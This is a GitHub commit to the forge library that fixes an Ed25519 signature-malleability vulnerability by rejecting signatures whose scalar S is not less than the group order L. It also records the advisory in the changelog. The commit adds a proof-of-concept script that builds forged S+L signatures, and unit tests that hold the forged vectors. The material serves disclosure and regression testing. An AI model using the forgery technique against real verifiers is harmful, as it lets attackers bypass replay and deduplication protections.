Skip to content

Commit bdecf11

Browse files
committed
Add canonical signature scaler check for S < L.
- [ed25519] Add canonical signature scaler check for S < L to avoid signature forgery.
1 parent af094e6 commit bdecf11

File tree

4 files changed

+171
-0
lines changed

4 files changed

+171
-0
lines changed

CHANGELOG.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,20 @@ Forge ChangeLog
2727
- Austin Chu, Sohee Kim, and Corban Villa.
2828
- CVE ID: [CVE-2026-33894](https://www.cve.org/CVERecord?id=CVE-2026-33894)
2929
- GHSA ID: [GHSA-ppp5-5v6c-4jwp](https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp)
30+
- **HIGH**: Signature forgery in Ed25519 due to missing S < L check.
31+
- Ed25519 signature verification accepts forged non-canonical signatures
32+
where the scalar S is not reduced modulo the group order (S >= L). A valid
33+
signature and its S + L variant both verify in forge, while Node.js
34+
crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the
35+
specification. This class of signature malleability has been exploited in
36+
practice to bypass authentication and authorization logic (see
37+
CVE-2026-25793, CVE-2022-35961). Applications relying on signature
38+
uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object
39+
canonicalization checks) may be bypassed.
40+
- Reported as part of a U.C. Berkeley security research project by:
41+
- Austin Chu, Sohee Kim, and Corban Villa.
42+
- CVE ID: [CVE-2026-33895](https://www.cve.org/CVERecord?id=CVE-2026-33895)
43+
- GHSA ID: [GHSA-q67f-28xg-22rw](https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw)
3044

3145
### Changed
3246
- [jsbn] Update to `jsbn` 1.4. Sync partly back to original style for easier
@@ -41,6 +55,7 @@ Forge ChangeLog
4155
- [rsa] Fix padding length check according to RFC 2313 8.1 note 6. Padding is
4256
required to be eight octets for block types 1 and 2.
4357
- [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two.
58+
- [ed25519] Add canonical signature scaler check for S < L.
4459

4560
## 1.3.3 - 2025-12-02
4661

lib/ed25519.js

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
380380
return -1;
381381
}
382382

383+
if(!_isCanonicalSignatureScalar(sm, 32)) {
384+
return -1;
385+
}
386+
383387
for(i = 0; i < n; ++i) {
384388
m[i] = sm[i];
385389
}
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
409413
return mlen;
410414
}
411415

416+
function _isCanonicalSignatureScalar(bytes, offset) {
417+
var i;
418+
// Compare little-endian scalar S against group order L and require S < L.
419+
for(i = 31; i >= 0; --i) {
420+
if(bytes[offset + i] < L[i]) {
421+
return true;
422+
}
423+
if(bytes[offset + i] > L[i]) {
424+
return false;
425+
}
426+
}
427+
// S == L is non-canonical.
428+
return false;
429+
}
430+
412431
function modL(r, x) {
413432
var carry, i, j, k;
414433
for(i = 63; i >= 32; --i) {

tests/pocs/ghsa-q67f-28xg-22rw.js

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
#!/usr/bin/env node
2+
'use strict';
3+
4+
// Security Advisory PoC
5+
//
6+
// https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw
7+
//
8+
// This vulnerability was discovered as part of a U.C. Berkeley security
9+
// research project by: Austin Chu, Sohee Kim, and Corban Villa.
10+
//
11+
// Test vectors from this code were added in the ed25519 unit tests.
12+
13+
const path = require('path');
14+
const crypto = require('crypto');
15+
const forge = require('../../lib/index');
16+
const ed = forge.ed25519;
17+
18+
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
19+
20+
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
21+
const ED25519_ORDER_L = Buffer.from([
22+
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
23+
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
24+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
25+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
26+
]);
27+
28+
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
29+
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
30+
function addLToS(signature) {
31+
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
32+
throw new Error('signature must be a 64-byte Buffer');
33+
}
34+
const out = Buffer.from(signature);
35+
let carry = 0;
36+
for (let i = 0; i < 32; i++) {
37+
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
38+
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
39+
out[idx] = sum & 0xff;
40+
carry = sum >> 8;
41+
}
42+
return { sig: out, carry };
43+
}
44+
45+
function toSpkiPem(publicKeyBytes) {
46+
if (publicKeyBytes.length !== 32) {
47+
throw new Error('publicKeyBytes must be 32 bytes');
48+
}
49+
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
50+
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
51+
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
52+
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
53+
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
54+
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
55+
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
56+
}
57+
58+
function verifyWithCrypto(publicKey, message, signature) {
59+
try {
60+
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
61+
const ok = crypto.verify(null, message, keyObject, signature);
62+
return { ok };
63+
} catch (error) {
64+
return { ok: false, error: error.message };
65+
}
66+
}
67+
68+
function toResult(label, original, tweaked) {
69+
return {
70+
[label]: {
71+
original_valid: original.ok,
72+
tweaked_valid: tweaked.ok,
73+
},
74+
};
75+
}
76+
77+
function main() {
78+
const kp = ed.generateKeyPair();
79+
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
80+
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
81+
const tweaked = addLToS(sig);
82+
const okTweaked = ed.verify({
83+
message: MESSAGE,
84+
signature: tweaked.sig,
85+
publicKey: kp.publicKey,
86+
});
87+
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
88+
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
89+
const result = {
90+
...toResult('forge', { ok }, { ok: okTweaked }),
91+
...toResult('crypto', cryptoOriginal, cryptoTweaked),
92+
};
93+
console.log(JSON.stringify(result, null, 2));
94+
// enable for debugging on to make test vectors
95+
//console.log({
96+
// message: MESSAGE.toString('hex'),
97+
// sig: sig.toString('hex'),
98+
// sigSplusL: tweaked.sig.toString('hex'),
99+
// pk: kp.publicKey.toString('hex')
100+
//});
101+
}
102+
103+
main();

tests/unit/ed25519.js

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -345,6 +345,40 @@ var UTIL = require('../../lib/util');
345345
ASSERT.equal(hex(signature), expectedSignature);
346346
ASSERT.equal(verified, true);
347347
});
348+
349+
describe('GHSA-q67f-28xg-22rw S < L check', function() {
350+
var message = UTIL.hexToBytes(
351+
'6464657270796d2069732074686520636f6f6c657374206d616e20616c69766521');
352+
var signature = UTIL.hexToBytes(
353+
'eb14f31c1cd92e7ef8a11f314a3836f0668b488e2bc2f179bf69d607d0648ce4' +
354+
'4510c797bb7ee0bf2c3b29a105f238113d40bf5cbc9a06d2d63be61bae486707');
355+
// tweaked signature with S+L
356+
var splusl = UTIL.hexToBytes(
357+
'eb14f31c1cd92e7ef8a11f314a3836f0668b488e2bc2f179bf69d607d0648ce4' +
358+
'32e4bcf4d5e1f21703d82044e4eb17263d40bf5cbc9a06d2d63be61bae486717');
359+
var publicKey = UTIL.hexToBytes(
360+
'ba2a71c1cb8ddaf184d215e0d52c7c82fd37ac52c571fc459ab8f6d034f4e3c7');
361+
362+
it('should verify good signature', function() {
363+
var verified = ED25519.verify({
364+
message: message,
365+
encoding: 'utf8',
366+
signature: signature,
367+
publicKey: publicKey
368+
});
369+
ASSERT.equal(verified, true);
370+
});
371+
372+
it('should not verify S+L signature', function() {
373+
var verified = ED25519.verify({
374+
message: message,
375+
encoding: 'utf8',
376+
signature: splusl,
377+
publicKey: publicKey
378+
});
379+
ASSERT.equal(verified, false);
380+
});
381+
});
348382
});
349383

350384
function eb64(buffer) {

0 commit comments

Comments
 (0)